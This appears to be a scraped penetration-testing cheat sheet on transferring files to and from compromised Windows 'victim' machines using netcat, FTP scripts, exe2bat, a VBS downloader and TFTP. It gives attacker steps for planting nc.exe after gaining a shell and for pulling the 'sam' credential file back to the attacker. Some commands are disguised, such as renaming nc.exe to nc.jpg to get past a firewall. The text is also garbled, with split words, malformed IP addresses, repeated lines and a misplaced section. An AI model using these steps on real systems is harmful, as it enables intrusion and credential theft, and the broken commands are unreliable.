

Info	Netcat	FTP Upload (cont)	Internet Explorer
Check Transfer Progress http://www.cyberciti.biz/open-source/command-line-hacks/pv-command-examples/	<pre>nc -lvp 12345 tar -xf - (on sender)</pre> Note: You will have no indication of file progress, just wait in the soft time then CTRL+C http://www.g-loaded.eu/2006/11/06/netcat-to-ftp/	Victim (Windows) After getting a shell: <pre>nc 1.14 12345</pre> <pre>echo open 192.16 8.34.10 > ftp.txt</pre> (compress file in the soft) <pre>echo myftp>> ftp.txt</pre> (no space between username and append command) <pre>echo myftp>> ftp.txt</pre> <pre>echo bin >> ftp.txt</pre> <pre>echo get nc.exe >> ftp.txt</pre> <pre>echo bye >> ftp.txt</pre> <pre>ftp -s:ftp.txt (-s run commands in ftp.txt)</pre>	Can be good for bypassing Firewall <pre>mv nc.exe to nc.jpg (exe files ability -linux (gain your r</pre> <pre>cd prog*</pre> <pre>cd internet*</pre> <pre>start iexplo re.exe http://</pre> Navigate to the temporary files) <pre>copy nc.jpg c:\</pre> <pre>cd\</pre> <pre>rename nc.jpg nc.exe</pre> nc.exe (nc should be funct
DEBUG.exe Note: Uploaded file cannot be larger than 64-bytes. UPX can be used to compress files. <pre>locate exe2ba t.exe</pre> <pre>wine exe2ba t.exe</pre> <pre>upx -9 nc.exe (to compress nc.exe)</pre> <pre>ls -l nc.exe (should now be smaller)</pre> <pre>wine exe2ba t.exe /root/ nc</pre> <pre>xt (convert nc.exe to nc.txt)</pre> <pre>cat nc.txt more (should be a hex dump)</pre> Near the end of nc.txt, exe2bat tells the debugger: on the windows victim to create an exe user uid1234 (username) Gain your shell using your usual exploit then copy and paste the contents of nc.txt into the remote shell. If it fails, re-run any failed commands manually. nc.exe will now be created on the victim machine.	FTP - Windows Connect to an ftp server on port 80 <pre>nc -n -v -s:x.x.x.x 80</pre> Connect using commands in config.txt <pre>ftp -n -v -s:con fig.txt 10.1.1.1</pre>	FTP - Pure-FTPd <pre>/etc/i nit.d/ pur e-ftpd st</pre> art (start ftp server) <pre>netstat -antp (confirm server on port 21)</pre> <pre>/etc/i nit.d/ pur e-ftpd st</pre> op (stop ftp server) <pre>ls -l /ftphome (home ftp directory created by ftpd)</pre> <pre>cp nc.exe /ftphome (copy netcat to ftphome)</pre> <pre>ftp 127.0.0.1 (login ftp to server)</pre> <pre>ls (netcat should appear)</pre> <pre>bin (switch to binary for file transfer)</pre> <pre>get nc.exe (confirm file transfer works)</pre> <pre>bye</pre> <pre>file nc.exe (confirm file properties are intact)</pre>	down.vbs 'Barabas pure vbs downloader - tested on XP sp2 'Microsoft fixed adodbstream but guess what :) '(c)dec 2004 'First argument = complete url to download 'Second Argument = filename you want to save 'thanks to http://www.ericphe-lps.com/scripting/samples/BinaryDownload/ 'v2 - now includes proxy support for the winhttp request stuff
Python Victim <pre>python -m Simple HTTPServer</pre> Attacker Browse to victim from attacking machine for a directory listing	Kali <pre>pure-pw useradd hacker -u ftphome</pre> (create user hacker) <pre>pure-pw mkdb</pre> <pre>cp /pentest/windows/nc.exe /ftphome</pre> <pre>/etc/i nit.d/ pur e-ftpd start</pre> <pre>ftp 127.0.0.1 (test login)</pre> <pre>ls (nc.exe should appear)</pre> <pre>bye</pre>		

down.vbs (cont)

```
strUrl = WScript.Arguments.Item(0)
StrFile = WScript.Arguments.Item(1)
'WinHttpRequest proxy settings.
Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0
Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0
Const HTTPREQUEST_PROXYSETTING_DIRECT = 1
```

VBS Download (with down.vbs)

```
cat down.vbs (confirm contents)
sed 's/^echo /\` downlo ad- vbs cript (add echo to start of lines)
sed 's/^echo /\` downlo ad- vbs cript (add echo to start of lines)
sed 's/^echo /\` downlo ad- vbs cript (add echo to start of lines)
' (remove echo on blank lines)
/etc/init.d/apache2 start
cp nc.exe /var/www/
ls -l nc.exe
file nc.exe
After getting a shell on your Victim:
Copy and paste the text output of the final sed command above and hit enter to create down.vbs.
cscript down.vbs http://192.168.1.73/nc.exe (to run down.vbs, which will download nc.exe to nc2.exe)
```

VBS Download (with down.vbs) (cont)

```
nc.exe (check if file is functional)
```

TFTP Server

Kali

```
apt-get install atftpd
atftpd --daemon --port 69 /tmp
(start in daemon mode on port 69, home directory /tmp)
atftpd --daemon --port 1234 /tmp
(start in daemon mode on port 1234, home directory /tmp)
netstat -anup | grep atftp
be listening on port 69 udp)
```

Downloading in Linux

```
vbs cript (add echo to start of lines)
sed 's/^echo /\` downlo ad- vbs cript (add echo to start of lines)
sed 's/^echo /\` downlo ad- vbs cript (add echo to start of lines)
' (remove echo on blank lines)
/etc/init.d/apache2 start
cp nc.exe /var/www/
ls -l nc.exe
file nc.exe
After getting a shell on your Victim:
Copy and paste the text output of the final sed command above and hit enter to create down.vbs.
cscript down.vbs http://192.168.1.73/nc.exe (to run down.vbs, which will download nc.exe to nc2.exe)
ps -ef | grep atftp
kill -9 16084 (first column number)
netstat -anup | grep 69 (confirm server has been killed)
```

TFTP

Note: Most corporate firewalls will block outbound traffic rendering TFTP unusable. TFTP might not be on Windows machines. Files transferred will usually be read only. Change attrib of file to delete using attrib -r filename.

TFTP (cont)

Download from Attacker

Kali

```
atftpd --daemon --port 69 /tmp
/usr/share/nc -b nc.exe /tmp
chmod 777 /tmp/nc.exe
```

Windows

Initiate your remote shell to the Windows PC using your exploit:

```
./ability -linux.py (ability exploit, served, shell started)
```

```
tftp -i 192.168.2.3.10 GET nc.exe (on Windows Victim, IP = Kali)
```

Upload to Attacker

```
tftp -i 192.168.8.172 PUT sam
sam should now appear to tmp on the Kali machine
```

Download in Windows

```
echo >> down.dbs
tftp get 2.3.5.1 :/ lanscan (get the file lanscan from TFTP server 2.3.5.1)
```